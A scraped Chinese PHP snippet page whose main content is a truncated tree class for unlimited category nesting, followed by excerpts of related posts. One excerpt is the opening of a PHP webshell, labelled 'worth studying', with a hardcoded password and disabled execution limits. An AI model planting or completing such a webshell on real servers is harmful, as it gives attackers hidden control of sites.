易截截图软件、单文件、免安装、纯绿色、仅160KB

php无限分类的类

<?php
/**
 by lenush;
 */
class Tree
{
    var $data    = array();
    var $child    = array(-1=>array());
    var $layer    = array(-1=>-1);
    var $parent    = array();
    function Tree ($value)
    {
        $this->setNode(0, -1, $value);
    } // end func
    function setNode ($id, $parent, $value)
    {
        $parent = $parent?$parent:0;
        $this->data[$id]            = $value;
        $this->child[$id]            = array();
        $this->child[$parent][]        = $id;
        $this->parent[$id]            = $parent;
        if (!isset($this->layer[$parent]))
        {
            $this->layer[$id] = 0;
        }
        else
        {
            $this->layer[$id] = $this->layer[$parent] + 1;
        }
    } // end func
    function getList (&$tree, $root= 0)
    {
        foreach ($this->child[$root] as $key=>$id)
        {
   


相关文档:

一php大马,值得研究

<?php
#--Config--#
$login_password= '123456'; //这是密码
#----------#
error_reporting(E_ALL);
set_time_limit(0);
ini_set("max_execution_time","0");
ini_set("memory_limit","9999M");
set_magic_quotes_runtime(0);
if(!isset($_SERVER))$_SERVER = &$HTTP_SERVER_VARS;
if(!isset($_POST))$_PO ......

php中smarty模版引擎中的缓存应用!

1,Smarty缓存的配置:
   $smarty->cache-dir="目录名";   //创建缓存目录名
   $smarty->caching=true;   //开启缓存,为false的时候缓存无效
   $smarty->cache_lifetime=60; //缓存时间,单位是秒
2,Smarty缓存的使用与清除
   $marty->d ......

php对zip文件解压和压缩

<?php
/**
* @author wyt
*
*/
class zip {
private $_zipObj=null;
private $_zipfcArr=array();
private $_basePath=null;
private $_zipName;
/**
* init
* @param zip文件名称 $zipName
*/
function __construct($zipName){
$this->_zipName=$zipName;
$this->_zipObj= ......

PHP中解决安装IMAP扩展


在配置eventum的邮件服务的时候,始终不能发邮件。抓包后发现根本就没有连接到邮件服务器。再一查,原来是服务器么有
安装IMAP。下面是安装前找到的资料~~~
【转载】
安装sugarcrm,如果你不安装imap,那么你就无法使用的他的邮件功能,他的邮件功能是通过imap去读远程的邮件。
为了这个模块,我可是研究了一个下午, ......

PHP中的stristr(),strstr(),strpos()速度比较


PHP中的stristr(),strstr(),strpos()速度比较

测速代码:

<?php
function getmicrotime()
{
list($usec, $sec) = explode(" ",microtime());
return ((float)$usec + (float)$sec);
}
......
© 2009 ej38.com All Rights Reserved. 关于E健网联系我们 | 站点地图 | 赣ICP备09004571号